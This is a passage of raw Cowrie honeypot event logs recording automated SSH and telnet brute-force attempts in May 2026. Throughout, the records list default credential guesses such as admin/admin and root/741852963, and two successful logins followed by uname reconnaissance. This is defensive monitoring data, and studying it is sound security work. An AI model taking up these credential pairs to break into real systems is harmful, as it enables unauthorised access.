0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:39.100361Z","src_ip":"192.109.200.237","session":"f0de53ec374b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:39.346465Z","src_ip":"192.109.200.237","session":"f0de53ec374b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.85372304916382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:39.887367Z","src_ip":"209.127.178.212","session":"da8fcddde952","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:40.431294Z","src_ip":"192.109.200.237","session":"f0de53ec374b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.11036276817322,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:42.226175Z","src_ip":"152.42.224.71","session":"cded9d56a2fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49710,"dst_ip":"159.203.135.109","dst_port":22,"session":"06a5c768315a","protocol":"ssh","message":"New connection: 192.109.200.237:49710 (159.203.135.109:22) [session: 06a5c768315a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:42.318656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:42.324064Z","src_ip":"192.109.200.237","session":"06a5c768315a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53872,"dst_ip":"10.17.0.5","dst_port":23,"session":"147cf67cf4d6","protocol":"telnet","message":"New connection: 152.42.224.71:53872 (10.17.0.5:23) [session: 147cf67cf4d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:42.333027Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:42.410542Z","src_ip":"192.109.200.237","session":"06a5c768315a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:42.659258Z","src_ip":"192.109.200.237","session":"06a5c768315a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53886,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ea3b6b6eb21","protocol":"telnet","message":"New connection: 152.42.224.71:53886 (10.17.0.5:23) [session: 3ea3b6b6eb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:42.893027Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:43.744853Z","src_ip":"192.109.200.237","session":"06a5c768315a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49716,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c1939f64c69","protocol":"ssh","message":"New connection: 192.109.200.237:49716 (159.203.135.109:22) [session: 2c1939f64c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:45.577500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:45.583210Z","src_ip":"192.109.200.237","session":"2c1939f64c69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:45.666965Z","src_ip":"192.109.200.237","session":"2c1939f64c69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:46.060800Z","src_ip":"192.109.200.237","session":"2c1939f64c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:47.145456Z","src_ip":"192.109.200.237","session":"2c1939f64c69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.05298399925232,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:48.255730Z","src_ip":"152.42.224.71","session":"e158afb5b69f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49718,"dst_ip":"159.203.135.109","dst_port":22,"session":"38f528f8b810","protocol":"ssh","message":"New connection: 192.109.200.237:49718 (159.203.135.109:22) [session: 38f528f8b810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:49.083660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:49.088869Z","src_ip":"192.109.200.237","session":"38f528f8b810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:49.171375Z","src_ip":"192.109.200.237","session":"38f528f8b810","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:49.419793Z","src_ip":"192.109.200.237","session":"38f528f8b810","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:49.635199Z","src_ip":"192.109.200.237","session":"38f528f8b810","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:49.639229Z","src_ip":"192.109.200.237","session":"38f528f8b810","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:49.725369Z","src_ip":"192.109.200.237","session":"38f528f8b810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:49.731807Z","src_ip":"192.109.200.237","session":"38f528f8b810","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.45567727088928,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:52.104623Z","src_ip":"152.42.224.71","session":"f6e9c78413fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38522,"dst_ip":"159.203.135.109","dst_port":22,"session":"98af2736a5f6","protocol":"ssh","message":"New connection: 192.109.200.237:38522 (159.203.135.109:22) [session: 98af2736a5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:52.330523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:52.335962Z","src_ip":"192.109.200.237","session":"98af2736a5f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:52.419830Z","src_ip":"192.109.200.237","session":"98af2736a5f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:52.671055Z","src_ip":"192.109.200.237","session":"98af2736a5f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:53.822179Z","src_ip":"192.109.200.237","session":"98af2736a5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38532,"dst_ip":"159.203.135.109","dst_port":22,"session":"97f6c89e7a36","protocol":"ssh","message":"New connection: 192.109.200.237:38532 (159.203.135.109:22) [session: 97f6c89e7a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:55.689048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:55.693735Z","src_ip":"192.109.200.237","session":"97f6c89e7a36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:55.776612Z","src_ip":"192.109.200.237","session":"97f6c89e7a36","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:56.024412Z","src_ip":"192.109.200.237","session":"97f6c89e7a36","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:56.232018Z","src_ip":"192.109.200.237","session":"97f6c89e7a36","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:56.236337Z","src_ip":"192.109.200.237","session":"97f6c89e7a36","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:56.429781Z","src_ip":"192.109.200.237","session":"97f6c89e7a36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:56.435160Z","src_ip":"192.109.200.237","session":"97f6c89e7a36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":53566,"dst_ip":"10.17.0.5","dst_port":22,"session":"43051ce31d26","protocol":"ssh","message":"New connection: 43.153.37.39:53566 (10.17.0.5:22) [session: 43051ce31d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:58.439849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:58.445539Z","src_ip":"43.153.37.39","session":"43051ce31d26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:58.514082Z","src_ip":"43.153.37.39","session":"43051ce31d26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tw","password":"tw","message":"login attempt [tw/tw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:58.817818Z","src_ip":"43.153.37.39","session":"43051ce31d26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38548,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2895766218b","protocol":"ssh","message":"New connection: 192.109.200.237:38548 (159.203.135.109:22) [session: e2895766218b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:59.201047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:59.205980Z","src_ip":"192.109.200.237","session":"e2895766218b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:59.291083Z","src_ip":"192.109.200.237","session":"e2895766218b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:59.537143Z","src_ip":"192.109.200.237","session":"e2895766218b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:07:59.888344Z","src_ip":"43.153.37.39","session":"43051ce31d26","protocol":"ssh"}
